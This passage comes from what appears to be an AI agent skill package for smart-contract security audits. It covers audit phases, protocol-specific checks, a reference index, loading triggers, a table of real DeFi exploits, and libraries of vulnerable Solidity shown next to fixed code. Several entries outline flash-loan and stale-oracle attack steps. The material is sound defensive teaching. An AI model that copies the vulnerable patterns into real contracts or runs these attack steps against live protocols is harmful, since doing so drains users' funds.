gets subset of vectors). Execute Phase 3.HUNT per agent bundle. Generate `[HUNT-{N}]` entries. Log all operations in `audit-debug.md`. ### Turn 4 — Depth Phase (Standard+) **Sequential execution with checkpoint**: Route findings by confidence and complexity. See detailed depth agent methodologies in external reference files. ### Turn 5 — Merge Consolidate findings: deduplicate by root cause, severity, evidence quality. Update `VEERSKILLS_AUDIT_REPORT.md`. Log merge decisions. ### Turn 6 — Fuzz & Finalize Run Phase 6.FUZZ (deep/beast only). Log findings. Generate final report. ### Audit Trace Summary (MANDATORY in final report) ``` ## Audit Trace Summary - Total Agents: {N} - Vectors Covered: {N} / 280+ - Tool Calls: {N} (MCP + CLI) - Triager Validations: {N} - Skeptic-Judge Reviews: {N} - PoC Attempted: {N} - PoC Successful: {N} - Invariant Violations: {N} - Coverage: {components analyzed} / {total components} - Agent Expert Attribution: Agent N (Role) — {count} findings, {categories} ``` --- ## Audit Meta-Analysis & Improvement Loop See `references/phase-7-report.md` for complete audit meta-analysis methodology including: - Ground Truth Comparison Framework - Root Cause Classification (RC-SCOPE, RC-METHOD, RC-DEPTH, RC-CONTEXT, RC-NOVEL, RC-AGENT) - Anti-Bloat Gates - Injectable-First Architecture --- ## Protocol-Specific Tricks Quick Reference *(UPGRADED — from Forefy solidity-checks.md + veerskills)* After detecting protocol type, apply these protocol-specific tricks IN ADDITION to standard analysis: ### DEX/AMM Tricks - Check `.call()` without return data length validation for self-destructed contracts - Look for reentrancy guards protecting state but allowing view calls to manipulated external contracts - Verify token transfer assumptions about 18 decimals vs actual token precision - Check oracle price feeds for stale/incomplete Chainlink rounds - Look for MEV extraction in multi-hop swaps or arbitrage paths - Verify slippage protection accounts for fee-on-transfer tokens - **Permit2 Integration** *(NEW)*: Check if protocol uses Permit2 — verify allowance inheritance doesn't enable third-party protocols to drain via inherited allowances - **V4 Hook Integration** *(NEW)*: If Uniswap V4 hooks present, verify `beforeSwap` state changes don't desync with `afterSwap` reads ### Lending/Borrowing Tricks - Check liquidation logic for underwater positions during market crashes - Look for interest rate overflow at extremely high utilization rates - Verify TWAP usage to prevent flash loan price manipulation - Search for repayment functions with incorrect compound interest updates - Check flash loan callbacks for caller ownership verification - Look for governance proposals exploiting block.timestamp in timelocks - Verify permit functions prevent replay attacks across forks - **Self-Liquidation Profitability** *(NEW)*: Calculate if liquidation bonus > penalty — if yes, attacker can manipulate oracle → self-liquidate from 2nd address → profit - **Dust Position Bad Debt** *(NEW)*: Check if minimum position size prevents dust loans that cost more gas to liquidate than the reward ### Bridge/Cross-Chain Tricks - Check merkle proof validation against correct block headers - Look for relay systems without message ordering/replay prevention - Verify asset locks on source require corresponding unlocks on destination - Search for validator consensus manipulation with <33% stake - Check time-locked withdrawals for front-run during dispute periods - **DVN Diversity** *(NEW)*: Verify LayerZero OApps use 2/3+ independent DVNs, not single DVN (1/1/1 security stack) - **Ordered Nonce Blocking** *(NEW)*: Check if ordered nonce mode — one permanently reverting message blocks ALL subsequent messages ### NFT/Gaming Tricks - Check metadata URIs for unauthorized modification after minting - Look for predictable randomness (block.timestamp, blockhash) - Verify royalty calculations for edge cases (zero prices, max royalties) - Search for batch operations without individual permission validation - Check game state transitions for front-run/sandwich attacks - **ERC1155 Batch Authorization** *(NEW)*: Verify `_mintBatch` checks authorization per token ID, not just batch-level ### Governance/DAO Tricks - Check voting power for flash loan manipulation or delegate loops - Look for proposal execution without state validation - Verify timelock delays can't be bypassed through dependencies/emergency - Search for quorum calculations ignoring total supply changes - Check delegation for vote buying or circular delegation - **Flash Loan Governance Attack** *(NEW)*: If voting uses current-block snapshot, attacker can flash-borrow → vote → execute in one tx. Verify `getPastVotes(block.number - 1)` is used. ### Vault/ERC4626 Tricks *(NEW)* - **First Depositor Inflation**: Check if `totalSupply == 0` branch allows 1-wei deposit + direct donation to inflate share price - **Round-Trip Profit**: Verify `redeem(deposit(X))` cannot yield more than X due to rounding direction errors - **Preview Function Consistency**: Ensure `previewDeposit` returns same shares as actual `deposit` (no caller-dependent conversion) - **Fee-on-Transfer Handling**: If vault accepts arbitrary ERC20s, verify balance measured before/after transfer, not using `amount` parameter ### Staking/Rewards Tricks *(NEW)* - **Reward Index Staleness**: Verify `rewardPerToken` updated BEFORE any balance change (deposit/withdraw/claim) - **Flash Deposit Dilution**: Check if large deposit right before reward distribution dilutes per-token rate, then immediate withdraw - **Direct Transfer Dilution**: Verify staking tokens transferred directly (bypassing `stake()`) don't inflate `totalSupply` in reward calculations ### Account Abstraction (ERC-4337) Tricks *(NEW)* - **Validation Phase Banned Opcodes**: Verify `validateUserOp` doesn't use `block.timestamp`, `block.number`, `block.coinbase` (banned per ERC-7562) - **Paymaster Prefund Penalty**: Check if paymaster prefund accounts for 10% unused gas penalty - **Nonce Channel Manipulation**: Verify protocol validates specific nonce key, not just sequence (upper 192 bits = key, lower 64 = sequence) ### Proxy/Upgradeable Tricks *(NEW)* - **UUPS Upgrade Bricking**: Verify new implementation inherits `UUPSUpgradeable` — if not, proxy permanently loses upgrade capability - **Storage Layout Collision**: Check if new variables appended only (not inserted in middle) and EIP-1967 slots used - **Immutable Variables in Implementation**: Verify implementation doesn't use `immutable` — proxy gets wrong hardcoded values Log which tricks were applied and results in `audit-debug.md`. ## VERSION ``` ``` ## references ``` ``` ## references/INDEX.md # VeerSkills Reference Index **``** This directory contains the 21 reference frameworks that power the VeerSkills audit engine. Agents MUST use this index to locate the correct file when instructed by the main `SKILL.md` pipeline. **``** --- ## 1. Core Threat Intelligence Files loaded during the HUNT phase for vector scanning and pattern matching. - **`attack-vectors.md`**: The master library of 280+ attack vectors with Detection (D) and False-Positive (FP) markers. - **`master-checklist.md`**: 25 vulnerability categories and ~219 specific code checks. - **`anti-patterns.md`**: 14 categories of dangerous code implementation patterns (with WRONG vs RIGHT code examples). - **`vulnerability-matrix.md`**: Severity calculation and impact assessment framework. ## 2. Validation & Quality Control Files loaded during the ATTACK and VALIDATE phases to eliminate false positives. - **`fp-gate.md`**: The mandatory 6-Check Deep FP Gate + Anti-Rubber-Stamp rules. - **`poc-templates.md`**: 11 scaffolded Foundry PoC templates covering reentrancy, inflation, oracle, access control, flash loan, cross-function, reverse impact, boundary value, state desync, token integration, and signature replay. - **`report-template.md`**: The structured format for the final audit deliverable. ## 3. Deep Analysis Frameworks Files loaded during Deep/Beast modes for specialized analysis. - **`invariant-framework.md`**: Templates for Safety, Liveness, Economic, and Composability invariants. - **`nemesis-convergence.md`**: The language-agnostic iterative cross-feed loop for deep logic bugs. Features the Feynman Auditor ("questions every line") and State Inconsistency Auditor alternating up to a max of 6 passes until convergence (Beast mode only). - **`storage-layout-analyzer.md`**: Upgrade safety, slot computation, and struct packing checks for proxies. - **`attack-modeling.md`**: Threat actor profiling and attack surface mapping. - **`tools-integration.md`**: Commands for static/dynamic analysis (Slither, Aderyn, Echidna). ## 4. Context & Protocol Engines Files loaded during the MAP phase to give the agent context on what they are auditing. - **`protocol-context-engine.md`**: Derives bug preconditions from 10,600+ real audit findings across 21 protocol types. - **`protocol-routes.md`**: Prescribes exact audit paths depending on the protocol type (e.g. AMM vs Lending). - **`protocol-checklists.md`**: A fast checklist of common gotchas per protocol type. ## 5. Multi-Chain & L2 Modules Files loaded when the target codebase is not standard EVM L1. - **`network-checklists.md`**: Nuances for L2s (Arbitrum, Optimism) and sidechains (Polygon, BSC). - **`chain-deep-solana.md`**: Solana/Rust specific vectors and account validation checks. - **`chain-deep-move.md`**: Sui/Aptos Move specific vectors and capability checks. - **`chain-deep-ton.md`**: TON/FunC specific vectors and message passing checks. - **`chain-deep-cosmos.md`**: Cosmos SDK/Go specific vectors and IBC checks. - **`chain-deep-cairo.md`**: Starknet/Cairo specific vectors and syscall checks. ## 6. Exploit Intelligence Files loaded to provide massive historical context on real-world hacks. - **`exploit-forensics.md`**: 30 transaction-level forensic breakdowns of major DeFi exploits (The DAO, Ronin, Euler, etc.). - **`evolution-timelines.md`**: Tracks how vulnerabilities (like reentrancy or oracle manipulation) evolved from 2016 through today. ## 7. Decision Trees Files loaded to systematically eliminate vulnerability branches. - **`attack-trees.md`**: Systematic decision paths and root-goal mapping for 6 protocol archetypes (Lending, DEX, Bridge, Vault, Governance, Stablecoin). ## 8. Anti-Pattern Education Files loaded to show agents exactly what BAD code looks like versus GOOD code. - **`anti-patterns-library.md`**: 42 concrete anti-patterns across 6 categories, providing VULNERABLE code, the Attack PoC, and the CORRECT code. ## 9. Protocol Integration Guides Files loaded when auditing protocols built *on top* of existing DeFi legos. - **`protocol-playbooks.md`**: Specific security checklists for integrating with Uniswap V3, Aave V3, Lido, Chainlink, Compound V3, Curve, MakerDAO, and LayerZero. ## 10. Navigation & Cross-Reference Files loaded to map intents to data and vulnerabilities to files. - **`XREF.md`**: Master cross-reference index mapping vulnerability types to their abstract patterns, real-world exploits, and anti-patterns. - **`TRIGGERS.md`**: AI trigger phrase mapping, instructing the agent which files to load based on user prompts or code smells. ## 11. Learning & Development Files loaded to structure human or agent upskilling. - **`learning-paths.md`**: Structured curricula for Beginner (20hrs), Intermediate (40hrs), and Advanced (80hrs) auditor development. ## references/TRIGGERS.md # VeerSkills AI Trigger Mapping (TRIGGERS) This file instructs the VeerSkills AI agent on which reference files to load into context based on user prompts, detected code patterns, or protocol types. --- ## 1. Explicit User Instructions If the user explicitly asks for a specific framework or tool: | User Trigger Phrase (or similar intent) | Files to Load | | :--- | :--- | | "What are the common anti-patterns for..." | Load `anti-patterns-library.md` | | "Show me how this was exploited in the past" | Load `exploit-forensics.md` | | "What is the attack tree for..." | Load `attack-trees.md` | | "Give me the playbook for [Uniswap/Aave/etc]"| Load `protocol-playbooks.md` | | "How did reentrancy evolve?" | Load `evolution-timelines.md` | | "What is the learning path for..." | Load `learning-paths.md` | | "Show me the master checklist" | Load `master-checklist.md` | | "Where can I find information on..." | Load `XREF.md` | --- ## 2. Protocol Type Detection If the user provides code or asks for an audit of a specific protocol type, load the corresponding decision paths and playbooks: | Detected Protocol Archetype | Files to Auto-Load (in priority order) | | :--- | :--- | | **Lending / Borrowing / CDP** | 1. `attack-trees.md` (Lending section)
2. `anti-patterns-library.md` (Oracle / Reentrancy)
3. `protocol-playbooks.md` (Aave/Compound/Maker) | | **DEX / AMM / Swap** | 1. `attack-trees.md` (DEX section)
2. `protocol-playbooks.md` (Uniswap/Curve)
3. `anti-patterns-library.md` (Token/Rounding) | | **Bridge / Cross-Chain** | 1. `attack-trees.md` (Bridge section)
2. `exploit-forensics.md` (Ronin/Poly/Wormhole/Nomad)
3. `protocol-playbooks.md` (LayerZero) | | **Vault / Yield Optimizer** | 1. `attack-trees.md` (Vault section)
2. `protocol-playbooks.md` (ERC4626 standard) | --- ## 3. Code Smell / Keyword Detection If the static analyzer or agent detects specific function calls or variable names in the target codebase, proactively load the associated anti-patterns: | Detected Code Snippet / Keyword | Associated Vulnerability / File to Load | | :--- | :--- | | `latestRoundData()` or `aggregator` | Oracles -> Load `anti-patterns-library.md` (Anti-Pattern 1.A/1.B) | | `getReserves()` (Uniswap V2) | AMM Spot Price Manipulation -> Load `anti-patterns-library.md` | | `delegatecall` inside a `fallback` | Proxy Upgradeability -> Load `upgradeability.md` | | `initialize()` or `Initializable` | Unprotected Init -> Load `anti-patterns-library.md` (Anti-Pattern 3.A) | | `flashLoan` or `executeOperation` | Flash Loan Attack Vector -> Load `exploit-forensics.md` (Euler/Beanstalk) | | `ecrecover` or `verifySignatures` | Crypto/Signatures -> Load `exploit-forensics.md` (Wormhole), `cryptography.md` | | `balanceOf(address(this))` | Vault Inflation / Force Feed -> Load `protocol-playbooks.md` (ERC4626) | | `transferFrom` without `balanceOut - balanceIn` | Fee-on-Transfer Tokens -> Load `anti-patterns-library.md` (Anti-Pattern 4.A) | --- ## 4. Multi-File Loading Sequencer (Macro Triggers) For comprehensive "Deep" or "Beast" mode audits, trigger macro-sequences: * **Trigger: "Full Audit of a Lending Protocol" (DEEP MODE)** * *Sequence:* 1. Parse code for `latestRoundData`. 2. Load `attack-trees.md` (Lending). 3. Load `anti-patterns-library.md` (Oracle). 4. Load `exploit-forensics.md` (Euler). * **Trigger: "Verify this Bridge Implementation" (BEAST MODE)** * *Sequence:* 1. Load `attack-trees.md` (Bridge). 2. Load `exploit-forensics.md` (Ronin, Poly Network, Nomad, Wormhole). 3. Load `protocol-playbooks.md` (LayerZero). 4. Trigger specialized Multi-Chain Agents if target is non-EVM. ## references/XREF.md # VeerSkills Master Cross-Reference Index (XREF) This document maps vulnerability types to their abstract patterns, real-world exploit forensics, and concrete anti-pattern code examples. It acts as the central navigation hub for the VeerSkills knowledge base. --- ## 1. By Vulnerability Type | Vulnerability Type | Abstract Pattern Guide | Real-World Exploit | Concrete Anti-Pattern (Vulnerable vs Good code) | | :--- | :--- | :--- | :--- | | **Oracle Manipulation (Spot Price)** | `oracle-manipulation.md` | Harvest Finance ($34M), bZx ($8M) | `anti-patterns-library.md` (Anti-Pattern 1.A) | | **Oracle Staleness / Failure** | `oracle-manipulation.md` | Venus Protocol ($200M), Cream ($130M) | `anti-patterns-library.md` (Anti-Pattern 1.B) | | **Reentrancy (Classic)** | `reentrancy.md` | The DAO ($60M), Lendf.Me ($25M) | `anti-patterns-library.md` (Anti-Pattern 2.A) | | **Reentrancy (Read-Only / Cross-Contract)** | `reentrancy.md` | Curve / Vyper Compiler Bug ($70M) | `anti-patterns-library.md` (Anti-Pattern 2.A) | | **Access Control (Missing Init)** | `access-control.md` | Parity ($150M), Nomad ($190M) | `anti-patterns-library.md` (Anti-Pattern 3.A) | | **Access Control (Validator Compromise)** | `cross-chain.md` | Ronin ($625M), Harmony ($100M) | N/A (OpSec failure) | | **Token Arithmetic (Rounding/Dust)** | `precision-loss.md` | Aave V2 (Dust accumulation) | `anti-patterns-library.md` (Anti-Pattern 4.A) | | **Token Deflation (Fee-on-Transfer)** | `token-standards.md` | Balancer V1 (deflationary tokens) | `anti-patterns-library.md` (Anti-Pattern 4.A) | | **Lending (Missing Health Check)** | `lending-math.md` | Euler Finance ($197M) | `exploit-forensics.md` (Euler Case Study) | | **Governance (Flash Loan Voting)** | `governance-attacks.md` | Beanstalk ($182M) | `exploit-forensics.md` (Beanstalk Case Study) | | **Vaults (ERC4626 Inflation/Donation)** | `vault-math.md` | Yearn V1 (Early iterations) | `protocol-playbooks.md` (ERC4626 Playbook) | | **Signature Spoofing / Replay** | `cryptography.md` | Wormhole ($326M) | `exploit-forensics.md` (Wormhole Case Study) | --- ## 2. By Real-World Exploit | Exploit | Year | Loss | Core Vulnerability | VeerSkills Vector Map | Detailed Post-Mortem | | :--- | :--- | :--- | :--- | :--- | :--- | | **Ronin Bridge** | 2022 | $625M | Validator Key Compromise | External Threat Modeling | `exploit-forensics.md` #1 | | **Poly Network** | 2021 | $611M | Unprotected Init + Hash Collision | Phase 3: Arbitrary Calls | `exploit-forensics.md` #2 | | **Wormhole** | 2022 | $326M | Signature Validation (Sysvar spoofing) | Phase 11: Multi-chain (Solana) | `exploit-forensics.md` #3 | | **Euler Finance** | 2023 | $197M | Logic Error: Missing Health Check | Phase 5: Invariant Mapping | `exploit-forensics.md` #4 | | **Nomad Bridge** | 2022 | $190M | Zero-Value Collision in Merkle | Phase 7: Storage Collision | `exploit-forensics.md` #5 | | **Beanstalk** | 2022 | $182M | Flash Loan Governance Bypass | Phase 4: Flash Loan Susceptibility| `exploit-forensics.md` #6 | | **Cream Finance** | 2021 | $130M | Oracle Manipulation (Price * Quantity) | Phase 5: Economic Value | internal tracker | | **Mango Markets**| 2022 | $116M | Oracle Manipulation (Low Liquidity) | Phase 11: Multi-chain (Solana) | internal tracker | | **The DAO** | 2016 | $60M | Classic Reentrancy | Phase 3: Reentrancy | `exploit-forensics.md` #7 | --- ## 3. By Protocol Type | Protocol Archetype | Primary Navigation Path | Key Concept Checks | Threat Modeling Tree | | :--- | :--- | :--- | :--- | | **Lending / CDP** | `protocol-playbooks.md#Aave` | Oracle freshness, Health factor updates, Liquidation math | `attack-trees.md#1-Lending` | | **DEX / AMM** | `protocol-playbooks.md#UniswapV3` | Slippage tolerance, K-value invariants, Fee math | `attack-trees.md#2-DEX` | | **Bridge** | `protocol-playbooks.md#LayerZero` | Merkle proofs, Nonce replay, ChainID validation, Validators | `attack-trees.md#3-Bridge` | | **Vault / Yield** | `protocol-playbooks.md#ERC4626` | First-depositor inflation, Share math rounding, Fee dilution | `attack-trees.md#4-Vault` | | **Governance** | `governance-attacks.md` | Snapshot blocks, Timelocks, Quorum threshold, Flash loans | N/A | ## references/anti-patterns-library.md # Anti-Patterns Library This library contains explicit examples of vulnerable code, how it is exploited in the wild, and the correct mitigation pattern. It goes deeper than abstract concepts by providing exact code implementations. --- ## 1. Oracle Integration Anti-Patterns ### Anti-Pattern 1.A: Spot Price as Oracle Using the immediate reserve ratio of an AMM (e.g., Uniswap V2) to price assets. This allows a flash loan to skew the ratio in a single transaction, tricking the protocol into reading a massively inflated/deflated price. **VULNERABLE CODE (BAD):** ```solidity function getPrice() public view returns (uint256) { (uint112 reserve0, uint112 reserve1,) = pair.getReserves(); // Vulnerable: Spot price easily manipulated in 1 tx return (uint256(reserve1) * 1e18) / reserve0; } ``` **ATTACK PoC:** ```solidity // 1. Flash loan 10,000 ETH from Aave // 2. Swap 10,000 ETH for target token in Uniswap V2 (massively inflates ETH price in pool) // 3. Call target protocol `borrow()`. It reads `getPrice()` which now says 1 token = 10,000 ETH. // 4. Borrow all funds from the target protocol using a single token as collateral. // 5. Swap back on Uniswap, repay flash loan, keep extracted protocol funds. ``` **CORRECT PATTERN (GOOD):** ```solidity // Use Uniswap V3 TWAP (Time-Weighted Average Price) function getPriceTWAP(uint32 twapInterval) public view returns (uint256) { uint32[] memory secondsAgos = new uint32[](2); secondsAgos[0] = twapInterval; // e.g., 1800 seconds (30 mins) secondsAgos[1] = 0; (int56[] memory tickCumulatives, ) = pool.observe(secondsAgos); int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0]; int24 timeWeightedAverageTick = int24(tickCumulativesDelta / int32(twapInterval)); // Convert tick to price (or better yet, use Chainlink) return OracleLibrary.getQuoteAtTick(timeWeightedAverageTick, 1e18, token0, token1); } ``` ### Anti-Pattern 1.B: Unchecked Chainlink Stale Prices Assuming Chainlink `latestRoundData()` always returns a fresh and accurate price. During extreme volatility or network congestion, the feed may halt. **VULNERABLE CODE (BAD):** ```solidity function getOraclePrice() public view returns (uint256) { // Vulnerable: Ignores timestamp and roundID (, int256 price, , ,) = priceFeed.latestRoundData(); require(price > 0, "Invalid price"); return uint256(price); } ``` **ATTACK PoC:** ```solidity // (Observed during Terra/LUNA crash) // 1. Protocol hardcodes Chainlink LUNA oracle minimum price deviation check. // 2. LUNA drops from $1.00 to $0.0001, but the oracle is circuit-broken at $0.10. // 3. Attacker buys LUNA at $0.0001 on the open market. // 4. Attacker deposits LUNA to protocol. Protocol reads stale $0.10 price. // 5. Attacker drains 1000x value in stablecoins. ``` **CORRECT PATTERN (GOOD):** ```solidity function getOraclePrice() public view returns (uint256) { ( uint80 roundID, int256 price, , uint256 updatedAt, uint80 answeredInRound ) = priceFeed.latestRoundData(); require(price > 0, "Negative or zero price"); require(answeredInRound >= roundID, "Stale round"); require(block.timestamp - updatedAt <= HEARTBEAT_TIME, "Stale price timestamp"); return uint256(price); } ``` --- ## 2. Reentrancy Anti-Patterns ### Anti-Pattern 2.A: Read-Only Reentrancy A protocol secures its primary functions with `nonReentrant` but exposes a high-value state reader (like exchange rate or internal price) without a lock. An attacker re-enters the protocol while state is inconsistent, but only *reads* from it to exploit a *third-party* protocol that relies on that reader. **VULNERABLE CODE (BAD - TARGET PROTOCOL):** ```solidity contract TargetPool { // Balances are up to date, but totalsupply isn't yet! function getVirtualPrice() public view returns (uint256) { // Vulnerable: Total supply is updated AFTER external calls in removeLiquidity return (totalAssets() * 1e18) / totalSupply(); } function removeLiquidity(uint amount) external nonReentrant { uint toSend = (amount * totalAssets()) / totalSupply(); token.transfer(msg.sender, toSend); // <-- External call, state is dirty! _burn(msg.sender, amount); // State update happens AFTER } } ``` **CORRECT PATTERN (GOOD):** ```solidity function removeLiquidity(uint amount) external nonReentrant { uint toSend = (amount * totalAssets()) / totalSupply(); _burn(msg.sender, amount); // Update state FIRST (CEI) token.transfer(msg.sender, toSend); // External call LAST } // Alternatively, if the protocol must break CEI, the `getVirtualPrice` reader must also use `nonReentrant` to enforce sequential locks. ``` --- ## 3. Access Control Anti-Patterns ### Anti-Pattern 3.A: Missing Initializer / Upgradeable Proxy Sniping A logic contract for an upgradeable proxy is deployed but left uninitialized. An attacker calls `initialize()`, becomes the owner of the logic contract, and executes a `delegatecall` to deeply alter the logic contract's self-destruct mechanism, breaking all proxies pointing to it. **VULNERABLE CODE (BAD):** ```solidity contract VaultLogic { bool public initialized; address public owner; // Vulnerable: No `initializer` modifier or lock on the logic contract itself function initialize(address _owner) public { require(!initialized, "Already initialized"); owner = _owner; initialized = true; } } ``` **CORRECT PATTERN (GOOD):** ```solidity import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; contract VaultLogic is Initializable { /// @custom:oz-upgrades-unsafe-allow constructor constructor() { // Good: Immediately locks the logic contract upon deployment _disableInitializers(); } function initialize(address _owner) public initializer { owner = _owner; } } ``` --- ## 4. Token Integration Anti-Patterns ### Anti-Pattern 4.A: Fee-On-Transfer Imbalance Assuming that calling `token.transferFrom(A, B, 100)` means that B will receive exactly 100 tokens. If the token takes a 5% transfer fee, B only receives 95. If the protocol rigidly accounts for 100, an insolvency gap is created. **VULNERABLE CODE (BAD):** ```solidity function deposit(uint256 amount) external { // Vulnerable: Assumes `amount` arrives intact token.transferFrom(msg.sender, address(this), amount); userBalance[msg.sender] += amount; // Accounts for 100, despite only 95 arriving } ``` **CORRECT PATTERN (GOOD):** ```solidity function deposit(uint256 amount) external { uint256 balanceBefore = token.balanceOf(address(this)); token.transferFrom(msg.sender, address(this), amount); uint256 balanceAfter = token.balanceOf(address(this)); // Good: Accounts only for exactly what arrived uint256 actualReceived = balanceAfter - balanceBefore; userBalance[msg.sender] += actualReceived; } ``` ## references/anti-patterns.md # VeerSkills Anti-Pattern Library _Consolidated dangerous code patterns to scan for during the HUNT phase. Each anti-pattern shows the WRONG way and the RIGHT way._ --- ## 1. Reentrancy Anti-Patterns ### 1.1 Classic CEI Violation ```solidity // ❌ WRONG: External call before state update function withdraw(uint256 amount) external { require(balances[msg.sender] >= amount); (bool ok,) = msg.sender.call{value: amount}(""); // external call balances[msg.sender] -= amount; // state update AFTER } // ✅ RIGHT: State update before external call (CEI) function withdraw(uint256 amount) external { require(balances[msg.sender] >= amount); balances[msg.sender] -= amount; // state update FIRST (bool ok,) = msg.sender.call{value: amount}(""); } ``` ### 1.2 Cross-Function Reentrancy ```solidity // ❌ WRONG: Function A calls external, Function B reads shared state function deposit() external { /* updates totalShares */ } function claimReward() external { uint256 reward = calcReward(totalShares); // reads shared state token.transfer(msg.sender, reward); // external call lastClaim[msg.sender] = block.timestamp; } // Attacker: deposit callback → claimReward reads stale totalShares // ✅ RIGHT: Shared mutex across all functions touching shared state ``` ### 1.3 Read-Only Reentrancy ```solidity // ❌ WRONG: View function returns stale value during callback function getVirtualPrice() external view returns (uint256) { return totalAssets / totalShares; // stale during add_liquidity callback } // External protocol uses getVirtualPrice() for pricing → manipulated // ✅ RIGHT: NonReentrant on view functions, or cross-contract lock ``` ### 1.4 ERC777/ERC721/ERC1155 Callback Reentrancy ```solidity // ❌ WRONG: safeTransferFrom before state update token.safeTransferFrom(from, to, amount); // triggers onERC721Received updateState(); // ✅ RIGHT: Update state, then safe transfer updateState(); token.safeTransferFrom(from, to, amount); ``` --- ## 2. Oracle Anti-Patterns ### 2.1 Spot Price as Oracle ```solidity // ❌ WRONG: Using AMM reserves for pricing uint256 price = reserve0 / reserve1; // manipulable via flash loan uint256 price = router.getAmountsOut(1e18, path)[1]; // same problem // ✅ RIGHT: TWAP >= 30 min or Chainlink/Pyth ``` ### 2.2 Missing Staleness Check ```solidity // ❌ WRONG: No validation on oracle data (,int256 price,,,) = feed.latestRoundData(); return uint256(price); // ✅ RIGHT: Full validation (uint80 roundId, int256 price,, uint256 updatedAt, uint80 answeredInRound) = feed.latestRoundData(); require(price > 0, "Invalid price"); require(updatedAt > block.timestamp - MAX_STALENESS, "Stale price"); require(answeredInRound >= roundId, "Stale round"); ``` ### 2.3 Wrong Decimals ```solidity // ❌ WRONG: Assuming 8 decimals uint256 priceInUsd = uint256(answer) * 1e10; // assumes 8 decimals // ✅ RIGHT: Query decimals dynamically uint8 decimals = feed.decimals(); uint256 priceInUsd = uint256(answer) * 10**(18 - decimals); ``` ### 2.4 Missing L2 Sequencer Check ```solidity // ❌ WRONG: No sequencer check on L2 (,int256 price,,,) = feed.latestRoundData(); // on Arbitrum/Optimism // ✅ RIGHT: Check sequencer uptime first (,int256 answer,, uint256 startedAt,) = sequencerFeed.latestRoundData(); require(answer == 0, "Sequencer down"); require(block.timestamp - startedAt > GRACE_PERIOD, "Grace period"); ``` --- ## 3. Access Control Anti-Patterns ### 3.1 Missing Modifier ```solidity // ❌ WRONG: No access control on critical function function setOracle(address _oracle) external { oracle = _oracle; // anyone can change oracle } // ✅ RIGHT: Access controlled function setOracle(address _oracle) external onlyOwner { oracle = _oracle; } ``` ### 3.2 Unprotected Initialize ```solidity // ❌ WRONG: initialize callable by anyone, no disableInitializers contract VaultV1 is Initializable { function initialize(address _owner) external initializer { owner = _owner; } } // ✅ RIGHT: _disableInitializers in constructor constructor() { _disableInitializers(); } ``` ### 3.3 tx.origin Auth ```solidity // ❌ WRONG: tx.origin for authentication require(tx.origin == owner, "Not owner"); // phishable // ✅ RIGHT: msg.sender for authentication require(msg.sender == owner, "Not owner"); ``` --- ## 4. Token Handling Anti-Patterns ### 4.1 Fee-on-Transfer Not Handled ```solidity // ❌ WRONG: Assumes received == amount token.transferFrom(msg.sender, address(this), amount); deposits[msg.sender] += amount; // may be more than received // ✅ RIGHT: Measure actual received uint256 before = token.balanceOf(address(this)); token.transferFrom(msg.sender, address(this), amount); uint256 received = token.balanceOf(address(this)) - before; deposits[msg.sender] += received; ``` ### 4.2 USDT Approve Pattern ```solidity // ❌ WRONG: Direct approve (fails for USDT) token.approve(spender, amount); // USDT reverts if allowance != 0 // ✅ RIGHT: SafeERC20 forceApprove or approve(0) first SafeERC20.forceApprove(token, spender, amount); ``` ### 4.3 Unchecked Return Value ```solidity // ❌ WRONG: Ignoring transfer return value token.transfer(to, amount); // silent failure possible // ✅ RIGHT: SafeERC20 SafeERC20.safeTransfer(token, to, amount); ``` ### 4.4 Rebasing Token Caching ```solidity // ❌ WRONG: Caching balance of rebasing token cachedBalance = stETH.balanceOf(address(this)); // becomes stale after rebase // ✅ RIGHT: Use wrapper (wstETH) or read live balance ``` --- ## 5. Math/Precision Anti-Patterns ### 5.1 Division Before Multiplication ```solidity // ❌ WRONG: Truncation amplified uint256 fee = (amount / 10000) * bps; // loses precision // ✅ RIGHT: Multiply first uint256 fee = (amount * bps) / 10000; ``` ### 5.2 Unsafe Downcast ```solidity // ❌ WRONG: Silent truncation uint128 smallAmount = uint128(largeUint256); // truncates if > 2^128 // ✅ RIGHT: SafeCast uint128 smallAmount = SafeCast.toUint128(largeUint256); ``` ### 5.3 Wrong Rounding Direction ```solidity // ❌ WRONG: Rounding in user's favor shares = assets * totalSupply / totalAssets; // rounds DOWN on deposit (user gets less — correct) assets = shares * totalAssets / totalSupply; // rounds DOWN on withdraw (user gets less — WRONG, should round UP for vault safety) // ✅ RIGHT: Vault-favorable rounding // Deposit: Math.mulDiv(assets, totalSupply, totalAssets, Math.Rounding.Floor) // Withdraw: Math.mulDiv(shares, totalAssets, totalSupply, Math.Rounding.Ceil) ``` --- ## 6. Flash Loan Anti-Patterns ### 6.1 Spot-Price Dependency ```solidity // ❌ WRONG: Reading reserves (manipulable in same tx) uint256 price = uniPair.getReserves(); // flash loan → swap → read → exploit // ✅ RIGHT: TWAP or external oracle ``` ### 6.2 Current-Block Snapshot ```solidity // ❌ WRONG: Voting with current balance uint256 votes = token.balanceOf(msg.sender); // flash-loan borrowable // ✅ RIGHT: Historical snapshot uint256 votes = token.getPastVotes(msg.sender, block.number - 1); ``` --- ## 7. Proxy/Upgrade Anti-Patterns ### 7.1 Non-Atomic Initialize ```solidity // ❌ WRONG: Deploy and init in separate txs proxy = new TransparentUpgradeableProxy(impl, admin, ""); // empty data proxy.initialize(owner); // separate tx — front-runnable // ✅ RIGHT: Atomic init proxy = new TransparentUpgradeableProxy(impl, admin, abi.encodeCall(Impl.initialize, (owner))); ``` ### 7.2 Storage Layout Shift ```solidity // ❌ WRONG: Inserting variable in middle of V2 contract V1 { uint256 a; uint256 b; uint256 c; } contract V2 { uint256 a; uint256 NEW; uint256 b; uint256 c; } // b,c shifted! // ✅ RIGHT: Append only contract V2 { uint256 a; uint256 b; uint256 c; uint256 NEW; } ``` ### 7.3 Missing _authorizeUpgrade ```solidity // ❌ WRONG: Empty authorization function _authorizeUpgrade(address) internal override {} // ANYONE can upgrade // ✅ RIGHT: Proper access control function _authorizeUpgrade(address) internal override onlyOwner {} ``` --- ## 8. Signature Anti-Patterns ### 8.1 Missing Nonce ```solidity // ❌ WRONG: No nonce in signed data bytes32 hash = keccak256(abi.encode(action, amount, deadline)); // ✅ RIGHT: Include nonce + chainId bytes32 hash = keccak256(abi.encode(action, amount, deadline, nonces[signer]++, block.chainid)); ``` ### 8.2 abi.encodePacked Collision ```solidity // ❌ WRONG: Dynamic types with encodePacked keccak256(abi.encodePacked(string1, string2)); // "ab","c" == "a","bc" // ✅ RIGHT: abi.encode for dynamic types keccak256(abi.encode(string1, string2)); ``` ### 8.3 